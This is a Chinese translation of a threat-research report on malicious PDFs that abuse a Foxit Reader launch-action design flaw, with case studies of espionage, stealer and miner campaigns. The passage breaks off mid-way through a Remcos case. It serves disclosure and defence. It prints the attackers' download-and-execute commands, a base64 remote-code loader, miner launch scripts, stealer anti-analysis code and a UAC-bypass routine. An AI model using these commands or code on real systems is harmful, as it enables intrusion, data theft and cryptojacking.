翻译:https://research.checkpoint.com/2024/foxit-pdf-flawed-design-exploitation/
介绍
PDF
(便携式文档格式)文件已经成为现代数字通信中不可或缺的一部分。凭借其广泛的兼容性和准确性,PDF提供了一个强大的平台,用于在不同的计算环境中共享文档。PDF已经成为一种标准格式,无论使用何种软件、硬件或操作系统来查看它们,他们都以一致的布局和格式展示文本、图像和多媒体内容。这种多功能性使得PDF在商业、学术、政府和个人用途等领域变得不可或缺,成为结构化且便捷的信息交换手段。
在PDF阅读器领域,Adobe Acrobat Reader
是行业的领头羊。然而,但一些著名的竞争对手正在发力,其中 Foxit PDF Reader 是一个突出的代表,其拥有超过7亿用户,遍布200多个国家,包括美国空军、陆军、海军和导弹防御部等政府机构,以及Google、Microsoft、Intel和Dell等技术公司。
Check Point Research发现了一种主要针对Foxit Reader用户的PDF漏洞利用的新手法。这种漏洞利用会触发安全警告,可能会欺骗毫无防备的用户执行有害命令。Check Point Research已经观察到这种漏洞利用的变体在野外被广范利用,并且由于大多数沙箱或防病毒解决方案主要使用不易受此漏洞影响的Adobe Reader,因此其检出率较低。此外,Check Point Research还观察到,从用.NET编写到用Python编写的各种漏洞构建器被用来部署这种漏洞利用。
从电子商务犯罪到间谍活动,多个威胁行为者都使用了这种漏洞利用。这些活动利用了对此漏洞检测率低和防护不足,威胁行为者甚至使用Facebook等非传统手段来分享这些恶意PDF文件。Check Point Research深入调查了三个案例,从以军事为重点的间谍活动到涉及多个链接和工具的电子商务犯罪,这类攻击实现非常复杂的攻击链条。
“有缺陷的设计”
Check Point Research 发现, 与 Adobe Reader 相比,使用 Foxit Reader 执行EXPMON样本时会产生异常行为。对受害者的利用是通过Foxit Reader阅读器中的一个设计缺陷产生的,该设计将默认选项显示为“OK”,这可能导致大多数目标忽略这些消息并执行恶意代码。一旦受害者两次点击“OK”默认选项,恶意命令就会被执行。
受害者场景如下所示:打开文件时,我们遇到第一个弹出窗口,默认选项“信任一次”,这是正确的做法。
图 1 – 第一个弹出警告 |
单击“OK”后,目标会出现第二个弹出窗口。如果目标用户阅读了第一条消息,第二条消息会由于第一条消息的影响用户普遍会选择“OK”。在这种情况下,威胁行为者正在利用这种有设计缺陷和常见的习惯行为。
图 2 - 第二个弹出警告将“打开”作为默认选项 |
连接调试器后,我们可以观察执行的命令,并使用 PowerShell 下载并执行恶意文件。
图 3 – 触发的恶意命令和执行的命令 |
执行的命令:
"C:\Windows\System32\cmd.exe" /c cD %tEMP% &@echo powershell -Command "(New-Object Net.WebClient).DownloadFile('hxxps://cdn.discordapp.com/attachments/1010643365152436226/1011056243474960515/Client_1.exe', 'payload.exe')" >> msd89h2j389uh.bat &@echo timeout /t 5 >> msd89h2j389uh.bat &@echo start payload.exe >> msd89h2j389uh.bat &@echo Set oShell = CreateObject ("Wscript.Shell") >> encrypted.vbs &@echo Dim strArgs >> encrypted.vbs &@echo strArgs = "cmd /c msd89h2j389uh.bat" >> encrypted.vbs &@echo oShell.Run strArgs, 0, false >> encrypted.vbs & encrypted.vbs &dEl encrypted.vbs
代码 1 – 命令执行。
静态分析PDF文件,我们可以看到其背后的执行逻辑。
.\pdf-parser.py .\mlw.pdf
PDF Comment '%PDF-1.1\r\n'
obj 1 0
Type: /Catalog
Referencing: 2 0 R
<<
/OpenAction
<<
/S /Launch
/Win
<<
/F (CMD)
/P '(/c cD %tEMP% &@echo powershell -Command "(New-Object Net.WebClient).DownloadFile(\'hxxps://cdn.discordapp.com/attachments/1010643365152436226/1011056243474960515/Client_1.exe\', \'payload.exe\')"'
>>
msd89h2j389uh.bat &@echo timeout
/ t 5
>>
msd89h2j389uh.bat &@echo start payload.exe
>>
obj 2 0
Type: /Pages
Referencing: 3 0 R
<<
/Kids [ 3 0 R ]
/Count 1
/Type /Pages
>>
obj 3 0
Type: /Page
Referencing: 5 0 R, 2 0 R, 4 0 R
<<
/Resources
<<
/Font
<<
/F1 5 0 R
>>
>>
/MediaBox [ 0 0 795 842 ]
/Parent 2 0 R
/Contents 4 0 R
/Type /Page
>>
obj 4 0
Type:
Referencing:
Contains stream
<<
/Length 1260
>>
obj 5 0
Type: /Font
Referencing:
<<
/Subtype /Type1
/Name /F1
/BaseFont /Helvetica
/Type /Font
>>
xref
trailer
<<
/Size 6
/Root 1 0 R
/ID [(bc38735adadf7620b13216ff40de2b26)(bc38735adadf7620b13216ff40de2b26)]
>>
startxref 1866
PDF Comment '%%EOF'
代码 2 – PDF 静态分析。
初始链接使用关键字/Root
来表示PDF的root。在这种情况下,它指向对象1
。跟随这个对象,我们可以观察到关键字/OpenAction
,它本身并不表明有恶意活动。这是PDF文件目录词典中的一个关键字。它指定了当文档被打开时自动执行的操作。接下来的关键字负责执行命令,/S
/Launch
指示Foxit Reader启动外部应用程序,而/Win
提供了启动应用程序所需的信息。之后,关键字/F
和/P
提供要执行的应用程序及其参数。
这些一些列的关键字会触发Foxit Reader中前两个警告,由于设计缺陷和用户的粗心,会执行威胁行为者精心编写的恶意命令。与此同时,Adobe Reader 似乎不会触发 /Launch
键。
利用 PDF Exploit 的活动
Check Point Research 利用针对 Foxit Reader 用户的特定exploit收集了大量恶意 PDF 文件。大多数沙箱和 VirusTotal 未能检测到该exploit,加上Adobe PDF 阅读器的特别流行,之前活动中的大量恶意文件未被检索到。尽管如此,我们还是从不同来源获得了大量该exploit的释放文件,揭示了感染链中的各种恶意工具和著名的恶意软件家族,例如:
- VenomRAT
- Agent-Tesla
- Remcos
- NjRAT
- NanoCore RAT
- Pony
- Xworm
- AsyncRAT
- DCRat
我们深入研究了初始 PDF 样本。通过分析,我们揭示了这些恶意程序的性质和运行机制。
案例一:带有间谍气息的 Windows 和 Android 僵尸网络
在研究过程中,我们偶然发现了一个恶意 PDF 文件,该文件具有可疑的“军事”相关名称“ Regarding Invitation to attend defence services Asia 2024 and National Security Asia 2024.pdf”。该 PDF 可能是通过下载链接分发的。该活动的攻击链很简单,下载 PDF 并执行两个可执行文件的下载程序,该下载程序随后将收集和上传各种文件,例如文档、图像、归档和数据库。
图 4 – 攻击链 |
命令与控制
下载器除了下载和执行两个有效载荷以外没有其他功能,发送到C&C的信息仅注册了机器人,并且只显示接收到后续阶段有效载荷的受害者。
图 5 – 下载者的控制面板,机器人信息 |
根据这些“机器人注册”文件的创建日期,我们获得了活动日期和每天添加到僵尸网络的机器人数量。主要活动似乎发生在 2024 年 4 月 5 日,这一天注册的机器人最多。
图 6 – 每天注册的机器人 |
攻击链和特定工具的使用证明了一场以间谍活动为重点的活动,而使用 Rafel RAT 感染 Android 的进一步发现进一步证明了这一假设。根据获得的受害者数据,威胁行为者具有多样化的攻击能力,这也导致了双因素身份验证 (2FA) 绕过。 Check Point Research 认为这些活动是由 APT-C-35/DoNot
团队执行的。
Windows 系列活动技术分析
该 PDF 文档仍然托管在 C&C 上,这表明可以使用下载链接下载该文档,而不是作为文件发送给潜在受害者。
图 7 – 分发服务器开放的目录 |
Check Point Research 分析了特定的 PDF 文档,发现它是使用 2024 年 2 月 13 日发布的开源 PDF Builder构建的。触发“漏洞”后使用的命令会从远程服务器下载可执行文件并执行它。
/S /Launch
/Win
<<
/F (cmd.exe)
/P '(/c cD %tEMP% &@echo powershell -Command "(New-Object Net.WebClient).DownloadFile(\'hxxps://omagle-chat-secure.com/target.exe\', \'payload.exe\')"'
>>
msd89h2j389uh.bat &@echo timeout
/ t 5
代码 3 – 下载恶意负载的命令。
机器信息
执行的下载器收集机器信息并将其写入%Appdata%/TestLog/$PC_Name.txt
:
- 计算机名称
- 用户名
- IP地址
- 操作系统版本
字符串解密
该恶意软件包含对其功能很重要的字符串,并使用自定义算法进行加密。
图 8 – 解密算法 |
def downloader_decrypt_string(encrypted: bytes, key: int) -> bytes:
result = []
for char in encrypted:
if chr(char) in string.ascii_letters:
base = ord("A") if char <= ord("Z") else ord("a")
char = (char - base - key + 0x1A) % 0x1A + base
result.append(char)
return bytes(result)
>> b'APPDATA'
>> b'\\Intel\\index.exe'
>> b'\\Intel\\upload.exe'
>> b'hxxps://mailservicess.com/res/data/in.exe'
>> b'hxxps://mailservicess.com/res/data/up.exe'
>> b'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run'
>> b'TailoredExperiencesWithDiagnosticDataEnabled'
>> b'ghijkl/ghijkl'
>> b'/index.php'
>> b'mailservicess.com'
>> b'\\Systems.exe'
>> b'Systems.exe'
>> b'\\Mozila\\'
代码 4 – Python 实现和解密字符串。
网络通讯
下载程序采用一种不寻常的方法来检索将要发送的数据。它枚举文件夹内的文件 %Appdata%/TestLog/
并将其上传到 C&C: hxxps://mailservicess.com/ghijkl/ghijkl/index.php
Content-Type: multipart/form-data; boundary=----qwerty
------qwerty
Content-Disposition: form-data; name="filetoupload"; filename="$FILEPATH"
Content-Type: application/octet-stream
Content-Transfer-Encoding: binary
Computer Name: $PC_NAME
IP Address: $IP_ADDRESS
User Name: $USER_NAME
Operating System Version: $VERSION
------qwerty--
在将僵尸网络机器人(bot)注册到命令与控制服务器(C&C)之后,它会下载两个恶意程序,并将它们保存在用户的应用程序数据目录下,路径分别为%Appdata%/Intel/index.exe
和%Appdata%/Intel/upload.exe
。这两个程序会通过一个参数“pp”来执行,而且它们的执行时间会有一个较长的间隔。
权限维持
恶意软件会复制一份自己到用户的应用数据目录下的 %Appdata%/Intel/Mozilla/Systems.exe
文件,并在注册表的 SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run
路径下创建一个名为 TailoredExperiencesWithDiagnosticDataEnabled
的启动项,其值设置为复制的恶意软件文件路径。
下载载荷
第一个有效载荷in.exe
存储为index.exe
,不包含任何与网络相关的功能。它用于列出特定根目录C:\\、D:\\、E:\\、F:\\、G:\\、H:\\、I:\\和Z:\\
中的文件,并将具有以下扩展名的文件复制到文件夹%AppData%/htdocs/
。
.txt, .jpeg, .jpg, .png, .doc, .docx, .xls, .xlsx, .pdf, .ppt, .zip, .rar, .inp, .pptx, .sql
将会在 %AppData%/output.exe
创建所有复制文件的文本摘要。
第二个有效负载up.exe
,存储为upload.exe
,在第一个有效负载经过一段时间后执行,并使用与下载程序类似的字符串解密。
def uploader_decrypt_string(encrypted: bytes) -> bytes:
result = []
for char in encrypted:
if chr(char) in string.ascii_letters:
base_byte = 0x2A if char <= ord("Z") else 0x4A
char -= base_byte
temp = ((0x4EC4EC4F * char) >> 32) >> 3
char = char - 0x1A * ((temp < 0) + temp) + (base_byte + 0x17)
result.append(char)
return bytes(result)
>> b'mailservicess.com'
>> b'filetoupload'
>> b'/filedata/'
>> b'/index.php'
>> b'mailservicess.com'
>> b'filetoupload'
>> b'APPDATA'
>> b'\\htdocs\\'
代码 5 – Python 表示和解密字符串。
上传者从%Appdata%/htdocs/
中获取文件,并使用与下载器相同的网络通信将它们上传到 C&C。
------qwerty
Content-Disposition: form-data; name="filetoupload"; filename="$FILEPATH"
Content-Type: application/octet-stream
Content-Transfer-Encoding: binary
$FILE_DATA
------qwerty--
该组织已经利用了两个下载的恶意程序,但通过深入研究,我们发现了另一组被额外投放的工具。这些工具的名称及其功能如下:
- indexer:一个复制并整理目标文件的工具。
- upload:一个将之前整理的文件上传到远程服务器的工具。
- screen:一个截取屏幕图像并将其保存在指定文件夹,随后由 upload 工具进行上传的工具。
根据我们分析的工具,我们认为可能还有未被发现的其他工具存在,这些工具可能用于不同的恶意目的,比如用于盗取用户信息的木马程序。这些木马程序会将盗取的信息存放到特定的文件夹中,然后由上传工具将这些信息发送到攻击者的命令与控制服务器。
Check Point Research还在C&C服务器上发现的目录中观察到其他恶意软件和工具的迹象,但我们尚未能够获得任何样本以进一步验证我们的发现。我们发现的文件夹包括:
- /AhMyth/:一个开源的Android远程访问木马(Remote Access Trojan,简称RAT),允许攻击者远程控制Android设备。
- /sliver/:一个开源的跨平台红队框架,类似于Cobalt Strike,用于模拟攻击者行为以测试安全防护。
- /Keres/:一个利用PowerShell实现的反向shell后门,它为Windows和Linux系统提供了持久性,即使在系统重启后也能保持活动状态。
案例二.链式活动
在这次网络攻击活动中,攻击者通过多个链接、命令和文件的执行,最终部署了一个信息窃取软件和两个隐蔽的恶意挖矿程序。这次攻击的起点是一个专门针对使用Foxit PDF Reader软件的用户精心制作的恶意PDF文件。该文件被命名为“swift v2.pdf”,很可能主要是为了吸引美国用户,同时也可能针对其他国家的用户。
图 9 – 攻击链 |
这个PDF文件至今仍然难以被大多数防病毒软件检测到,使得其威胁性更大。在一次攻击活动中,攻击者甚至通过Facebook平台传播该文件,成功避开了社交平台的防病毒系统的检测。
图 10 – VirusTotal PDF 文件检测率较低 |
活动技术分析
从静态分析来看,触发的命令是cmd.exe,恶意的BAT文件是通过执行curl下载的。
/OpenAction
<<
/S /Launch
/Win
<<
/F '(c:\\\\windows\\\\system32\\\\cmd.exe)'
/P '(/c curl hxxps://sealingshop.click/bat/bostar4 -o "C:\\\\Users\\\\Public\\\\mems.bat" & C:\\\\Users\\\\Public\\\\mems.bat)'
>>
>>
代码 6 – 一旦接受,命令就会被执行。
这段恶意代码会通过浏览器打开一个Facebook页面;我们尚不确定这样做的具体目的,可能是为了转移用户的注意力,使其忽略即将进行的恶意行为,或者是让用户不注意到PDF页面实际上是空的。我们还获取到了一些类似的恶意批处理脚本,它们会打开不同的合法网站页面,比如Amazon。一个可能的推测是,打开的网站可能暗示了攻击者针对的用户所使用的平台。
cmd /c start https://www.facebook.com/help/contact/1304188393453553?ref=payout_hub
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Invoke-WebRequest -URI hxxps://sealingshop.click/config/stu -OutFile "C:\\Users\\$([Environment]::UserName)\\AppData\\Roaming\\Microsoft\\Windows\\'Start Menu'\\Programs\\Startup\\WindowsUpdate.bat"
cmd /c mkdir "C:\\Users\\Public\\python39"
cmd /c curl hxxps://sealingshop.click/app/python39.zip -o "C:\\Users\\Public\\python39\\python39.zip"
cmd /c tar -xf C:\\Users\\Public\\python39\\python39.zip -C "C:\\Users\\Public\\python39"
cmd /c curl hxxps://sealingshop.click/py/bostar4 -o "C:\\Users\\Public\\python39\\documents.py"
cmd /c C:\\Users\\Public\\python39\\python.exe "C:\\Users\\Public\\python39\\documents.py"
代码 7 - “第一个有效载荷”
首个恶意程序会下载第二个批处理文件,并将其存放在启动文件夹中,命名为WindowsUpdate.bat以保持其持久性。当计算机重新启动时,它将通过PowerShell执行一个Python脚本。
cmd /c C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden C:\\Users\\Public\\python39\\python C:\\Users\\Public\\python39\\documents.py;
代码 8 – 使用 PowerShell 下载的命令用于持久性
这个首个恶意程序在部署了用于持久性的批处理文件后,会在C:\Users\Public\python
路径下载并“安装”Python 3.9环境。由此可以推断出,最终的恶意负载是一个Python脚本,攻击者使用curl命令行工具再次下载该脚本并执行。
import os
import base64
import sqlite3
import win32crypt
from Crypto.Cipher import AES
import requests
import json
import getpass
import sys
vari = ''
exec(base64.b64decode({2:str,3:lambda b:bytes(b, 'UTF-8')}[sys.version_info[0]]('dmFyaSA9IHJlcXVlc3RzLmdldCgnaHR0cHM6Ly9zZWFsaW5nc2hvcC5jbGljay9weWVuL2Jvc3RhcjQnKS50ZXh0')))
exec(base64.b64decode({2:str,3:lambda b:bytes(b, 'UTF-8')}[sys.version_info[0]](vari)))
代码 9 – Python 加载器
这个Python脚本充当下载器,它执行了动态下载的代码。首次执行调用会下载一个经过混淆处理的Python窃密工具和挖矿木马,第二次执行调用则运行这些恶意程序。这款窃密工具专门针对Chrome和Edge浏览器,用来窃取用户的登录信息和cookies。为了获取攻击者的命令与控制服务器地址,恶意软件会先发起一个GET请求,随后再发起一个POST请求到服务器的/up/cookie-password-all路径,并附上用户的个人身份信息。
图 11 – 实际的 C&C |
在完成其主要任务后,恶意软件会发起两次GET请求,目的是为了获取挖矿软件的实际下载链接。随后,它利用PowerShell执行一系列命令来下载、解压并启动这些挖矿程序。
os.system('cmd /c mkdir "C:\\Users\\Public\\PublicAlbums"')
os.system("powershell.exe -windowstyle hidden Invoke-WebRequest -URI " + url_miner_xmrig + " -OutFile C:\\Users\\Public\\PublicAlbums\\xmrig.zip")
os.system("powershell.exe -windowstyle hidden Expand-Archive C:\\Users\\Public\\PublicAlbums\\xmrig.zip -DestinationPath C:\\Users\\Public\\PublicAlbums")
os.system("cmd /c C:\\Users\\Public\\PublicAlbums\\config.vbs")
代码 10 – Lol Miner 使用相同的代码。
这两个挖矿恶意软件都托管在Gitlab平台上的@topworld20241(该账号已被封建)账户里。每个ZIP压缩包里都包含了一个名为config.vbs的脚本文件,该文件包含了执行挖矿操作所需的指令和配置信息。
图 12 – 恶意 Gitlab 项目(所有提交均在 GMT+1 时区) |
Sub Main()
Dim WShell,objFSO
Set WShell = CreateObject("WScript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
If objFSO.FileExists("C:\\Users\\Public\\PublicAlbums\\xmrig.exe") Then
WShell.Run "C:\\Users\\Public\\PublicAlbums\\xmrig.exe --donate-level 1 -o de.zephyr.herominers.com:1123 -u ZEPHsCVJBy21Z2qvE7JpbwDgsQCzPqyV58KWAZ2qzVYAjPh4bsjrGB7W6DkTuUy4p5Kk75dUyvBtgH3jpspeQUbnR8ZMYL7wDcV -p workerbot -a rx/0 -k", 0
Set WShell = Nothing
End If
End Sub
On Error Resume Next
Main
代码 11 – XMRig Miner 的 VB 脚本。
Sub Main()
Dim WShell,objFSO
Set WShell = CreateObject("WScript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
If objFSO.FileExists("C:\\Users\\Public\\PublicSounds\\lolMiner.exe") Then
WShell.Run "C:\\Users\\Public\\PublicSounds\\lolMiner.exe --algo NEXA --pool stratum+ssl://nexapow.unmineable.com:4444 --user ZEPH:ZEPHsCVJBy21Z2qvE7JpbwDgsQCzPqyV58KWAZ2qzVYAjPh4bsjrGB7W6DkTuUy4p5Kk75dUyvBtgH3jpspeQUbnR8ZMYL7wDcV --watchdog exit !EXTRAPARAMETERS!", 0
Set WShell = Nothing
End If
End Sub
On Error Resume Next
Main
代码 12 – Lol Miner 的 VB 脚本。
案例三.检测率低的 Python Stealer
另一种传递恶意最终文件的方式更直接,例如从 DiscordApp 下载恶意文件并执行它。下面的 PDF 感染链下载恶意 Python 文件就是这种情况。
图 13 – Blank-Grabber 低检测率 |
Python脚本通常不会被列为可疑文件,这一点从它们较低的检测率就可见一斑。更让人惊讶的是,这种Python窃取工具并非新发现的恶意软件,而是一个名为Blank-Grabber的开源项目。
活动技术分析
该PDF文件触发了PowerShell的执行,并从DiscordApp平台下载了一个恶意文件,使得生成的网络流量看起来像是合法的。随后,一个名为lol.pyw的Python恶意软件被下载并在受害者的计算机上执行。
/OpenAction
<<
/S /Launch
/Win
<<
/F (CMD)
/P '(/c cD %tEMP% &@echo powershell -Command "(New-Object Net.WebClient).DownloadFile(\'hxxps://cdn.discordapp.com/attachments/1167576449859993683/1168168071366709278/lol.pyw\', \'lol.pyw\')"'
>>
msd89h2j389uh.bat &@echo timeout
/ t 5
>>
msd89h2j389uh.bat &@echo start stub.pyw
>>
代码 13 – PDF 执行的命令。
这款恶意软件功能强大,具备多种特性,包括图形化构建、用户账户控制(UAC)绕过技巧、反虚拟机侦测,以及从各种浏览器和应用程序中窃取数据的能力。
图 14 – GitHub 项目上列出的功能 |
有趣的是 class VmProtect,它列出了所有反虚拟机技术。
由识别可知:
- UUID
- 计算机名称
- 用户名
- 注册表项和值
- 终止与虚拟机或任何其他恶意软件逆向相关工具相关的正在运行的任务
- 对网络仿真进行与互联网相关的检查,并检查系统是否在线托管
class VmProtect:
BLACKLISTED_UUIDS = ('7AB5C494-39F5-4941-9163-47F54D6D5016', '032E02B4-0499-05C3-0806-3C0700080009', '03DE0294-0480-05DE-1A06-350700080009', '11111111-2222-3333-4444-555555555555', '6F3CA5EC-BEC9-4A4D-8274-11168F640058', 'ADEEEE9E-EF0A-6B84-B14B-B83A54AFC548', '4C4C4544-0050-3710-8058-CAC04F59344A', '00000000-0000-0000-0000-AC1F6BD04972', '00000000-0000-0000-0000-000000000000', '5BD24D56-789F-8468-7CDC-CAA7222CC121', '49434D53-0200-9065-2500-65902500E439', '49434D53-0200-9036-2500-36902500F022', '777D84B3-88D1-451C-93E4-D235177420A7', '49434D53-0200-9036-2500-369025000C65', 'B1112042-52E8-E25B-3655-6A4F54155DBF', '00000000-0000-0000-0000-AC1F6BD048FE', 'EB16924B-FB6D-4FA1-8666-17B91F62FB37', 'A15A930C-8251-9645-AF63-E45AD728C20C', '67E595EB-54AC-4FF0-B5E3-3DA7C7B547E3', 'C7D23342-A5D4-68A1-59AC-CF40F735B363', '63203342-0EB0-AA1A-4DF5-3FB37DBB0670', '44B94D56-65AB-DC02-86A0-98143A7423BF', '6608003F-ECE4-494E-B07E-1C4615D1D93C', 'D9142042-8F51-5EFF-D5F8-EE9AE3D1602A', '49434D53-0200-9036-2500-369025003AF0', '8B4E8278-525C-7343-B825-280AEBCD3BCB', '4D4DDC94-E06C-44F4-95FE-33A1ADA5AC27', '79AF5279-16CF-4094-9758-F88A616D81B4', 'FE822042-A70C-D08B-F1D1-C207055A488F', '76122042-C286-FA81-F0A8-514CC507B250', '481E2042-A1AF-D390-CE06-A8F783B1E76A', 'F3988356-32F5-4AE1-8D47-FD3B8BAFBD4C', '9961A120-E691-4FFE-B67B-F0E4115D5919')
BLACKLISTED_COMPUTERNAMES = ('bee7370c-8c0c-4', 'desktop-nakffmt', 'win-5e07cos9alr', 'b30f0242-1c6a-4', 'desktop-vrsqlag', 'q9iatrkprh', 'xc64zb', 'desktop-d019gdm', 'desktop-wi8clet', 'server1', 'lisa-pc', 'john-pc', 'desktop-b0t93d6', 'desktop-1pykp29', 'desktop-1y2433r', 'wileypc', 'work', '6c4e733f-c2d9-4', 'ralphs-pc', 'desktop-wg3myjs', 'desktop-7xc6gez', 'desktop-5ov9s0o', 'qarzhrdbpj', 'oreleepc', 'archibaldpc', 'julia-pc', 'd1bnjkfvlh', 'compname_5076', 'desktop-vkeons4', 'NTT-EFF-2W11WSS')
BLACKLISTED_USERS = ('wdagutilityaccount', 'abby', 'peter wilson', 'hmarc', 'patex', 'john-pc', 'rdhj0cnfevzx', 'keecfmwgj', 'frank', '8nl0colnq5bq', 'lisa', 'john', 'george', 'pxmduopvyx', '8vizsm', 'w0fjuovmccp5a', 'lmvwjj9b', 'pqonjhvwexss', '3u2v9m8', 'julia', 'heuerzl', 'harry johnson', 'j.seance', 'a.monaldo', 'tvm')
BLACKLISTED_TASKS = ('fakenet', 'dumpcap', 'httpdebuggerui', 'wireshark', 'fiddler', 'vboxservice', 'df5serv', 'vboxtray', 'vmtoolsd', 'vmwaretray', 'ida64', 'ollydbg', 'pestudio', 'vmwareuser', 'vgauthservice', 'vmacthlp', 'x96dbg', 'vmsrvc', 'x32dbg', 'vmusrvc', 'prl_cc', 'prl_tools', 'xenservice', 'qemu-ga', 'joeboxcontrol', 'ksdumperclient', 'ksdumper', 'joeboxserver', 'vmwareservice', 'vmwaretray', 'discordtokenprotector')
@staticmethod
def checkUUID() -> bool:
Logger.info('Checking UUID')
uuid = subprocess.run('wmic csproduct get uuid', shell=True, capture_output=True).stdout.splitlines()[2].decode(errors='ignore').strip()
return uuid in VmProtect.BLACKLISTED_UUIDS
@staticmethod
def checkComputerName() -> bool:
Logger.info('Checking computer name')
computername = os.getenv('computername')
return computername.lower() in VmProtect.BLACKLISTED_COMPUTERNAMES
@staticmethod
def checkUsers() -> bool:
Logger.info('Checking username')
user = os.getlogin()
return user.lower() in VmProtect.BLACKLISTED_USERS
@staticmethod
def checkHosting() -> bool:
Logger.info('Checking if system is hosted online')
http = PoolManager(cert_reqs='CERT_NONE')
try:
return http.request('GET', 'http://ip-api.com/line/?fields=hosting').data.decode(errors='ignore').strip() == 'true'
except Exception:
Logger.info('Unable to check if system is hosted online')
return False
@staticmethod
def checkHTTPSimulation() -> bool:
Logger.info('Checking if system is simulating connection')
http = PoolManager(cert_reqs='CERT_NONE', timeout=1.0)
try:
http.request('GET', f'https://blank-{Utility.GetRandomString()}.in')
except Exception:
return False
else:
return True
@staticmethod
def checkRegistry() -> bool:
Logger.info('Checking registry')
r1 = subprocess.run('REG QUERY HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\DriverDesc 2', capture_output=True, shell=True)
r2 = subprocess.run('REG QUERY HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\ProviderName 2', capture_output=True, shell=True)
gpucheck = any((x.lower() in subprocess.run('wmic path win32_VideoController get name', capture_output=True, shell=True).stdout.decode(errors='ignore').splitlines()[2].strip().lower() for x in ('virtualbox', 'vmware')))
dircheck = any([os.path.isdir(path) for path in ('D:\\Tools', 'D:\\OS2', 'D:\\NT3X')])
return r1.returncode != 1 and r2.returncode != 1 or gpucheck or dircheck
@staticmethod
def killTasks() -> None:
Utility.TaskKill(*VmProtect.BLACKLISTED_TASKS)
@staticmethod
def isVM() -> bool:
Logger.info('Checking if system is a VM')
Thread(target=VmProtect.killTasks, daemon=True).start()
result = VmProtect.checkHTTPSimulation() or VmProtect.checkUUID() or VmProtect.checkComputerName() or VmProtect.checkUsers() or VmProtect.checkHosting() or VmProtect.checkRegistry()
if result:
Logger.info('System is a VM')
else:
Logger.info('System is not a VM')
return result
代码 14 – VM 保护类
另一个有趣的部分是该函数,它会导致 UAC 绕过 def UACbypass。
@staticmethod
def UACbypass(method: int=1) -> bool:
if Utility.GetSelf()[1]:
execute = lambda cmd: subprocess.run(cmd, shell=True, capture_output=True)
match method:
case 1:
execute(f'reg add hkcu\\Software\\Classes\\ms-settings\\shell\\open\\command /d "{sys.executable}" /f')
execute('reg add hkcu\\Software\\Classes\\ms-settings\\shell\\open\\command /v "DelegateExecute" /f')
log_count_before = len(execute('wevtutil qe "Microsoft-Windows-Windows Defender/Operational" /f:text').stdout)
execute('computerdefaults --nouacbypass')
log_count_after = len(execute('wevtutil qe "Microsoft-Windows-Windows Defender/Operational" /f:text').stdout)
execute('reg delete hkcu\\Software\\Classes\\ms-settings /f')
if log_count_after > log_count_before:
return Utility.UACbypass(method + 1)
case 2:
execute(f'reg add hkcu\\Software\\Classes\\ms-settings\\shell\\open\\command /d "{sys.executable}" /f')
execute('reg add hkcu\\Software\\Classes\\ms-settings\\shell\\open\\command /v "DelegateExecute" /f')
log_count_before = len(execute('wevtutil qe "Microsoft-Windows-Windows Defender/Operational" /f:text').stdout)
execute('fodhelper --nouacbypass')
log_count_after = len(execute('wevtutil qe "Microsoft-Windows-Windows Defender/Operational" /f:text').stdout)
execute('reg delete hkcu\\Software\\Classes\\ms-settings /f')
if log_count_after > log_count_before:
return Utility.UACbypass(method + 1)
case _:
return False
return True
代码 15 – UAC 旁路功能。
Blank-Grabber 似乎是一个功能齐全的开源信息窃取程序,其低检测率使其对目标用户构成更大的威胁。
案例四。从 PDF 到 PDF 再到……Remcos
另一起引人关注的案例是,一个恶意PDF文件内嵌了一个超链接,链接指向trello.com上托管的一个附件。下载后发现,该附件实际上是一个含有恶意代码的PDF文件,这些代码利用了Foxit Reader用户的安全漏洞。这次攻击的手法相当精巧,攻击者投放了多个文件,目的是让受害者的计算机感染上最终的有效载荷。总共有超过10个文件被执行,而最终的恶意软件——Remcos远程控制木马(RAT)——通过一个名为DynnamicWrapperX的工具被注入到内存中。
图 15 – 导致 Remcos RAT 的攻击链 |
执行此活动的威胁参与者 @Silentkillertv似乎还通过 Telegram 销售恶意工具。4月27日,该攻击者发布了一个专门针对Foxit PDF Reader的PDF漏洞利用工具,并声称该工具能够“100%绕过所有反病毒软件”,并且能够避开“Gmail、Yahoo、Facebook和Hotmail的文件共享限制”。
图 16 – Telegram 频道 |
活动技术分析
第一个 PDF 文件包含一个恶意超链接,可下载名为“Facebook_Adversting_project.pdf”的 PDF 文件。
图 17 – 第一个 PDF 文件 |
obj 119 0
Type:
Referencing:
<<
/S /URI
/URI (hxxps://trello.com/1/cards/661a23427b01e8ba1bde8e2e/attachments/662d51f9e28ce98ab46ecd93/download/Facebook_Adversting_project.pdf)
>>
代码 16 – 第一个 PDF 链接。
单击该链接后,受害者会收到第二个 PDF 文件,该文件托管在trello.com合法网站上。与 Discord 类似,威胁行为者一直在利用合法网站来托管和分发恶意文件。
图 18 – trello.com 上托管的第二个 PDF |
文件是由“Bechtelar Libby @bechtelarlibby”于4月27日上传的。
图 19 – 2024 年 4 月 27 日附上的 PDF |
该用户的初始活动似乎可以追溯到 2024 年 3 月 1 日。从可疑帐户生成的文件和文件夹名称来看,目标国家似乎包括越南和韩国等。
Bảng Trello của tô i (越南语):我的 Trello 看板
Lập kế hoạch dự án (越南语):项目规划
Họp khởi độ ng (越南语):启动会议
Cần là m (越南语):需要做的事情
Xong (越南语):完成
거래 데ք (韩语):交易数据
신원 확인 (韩语):身份验证
图 20 – 活动可追溯到 3 月 1 日 |
在第二个PDF中,针对Foxit用户的利用是通过以下PowerShell命令执行的:
/OpenAction
<<
/S /Launch
/Win
<<
/F (cmd.exe)
/P '(/c cD %tEMP% &@echo powershell -Command "(New-Object Net.WebClient).DownloadFile(\'hxxps://www.digitalmarketingstart.com/GFFFDSGSDGDFSGDFSGDSG.lnk\', \'NCGHDFHGTDFJMDFGKJHFTYFUKFYU.LNK\')"'
>>
VGHJFUYTKFJFGJHFGKJHGFTGHDFKTGJH.BAT &@echo timeout
/ t 5
>>
VGHJFUYTKFJFGJHFGKJHGFTGHDFKTGJH.BAT &@echo start NCGHDFHGTDFJMDFGKJHFTYFUKFYU.LNK
>>
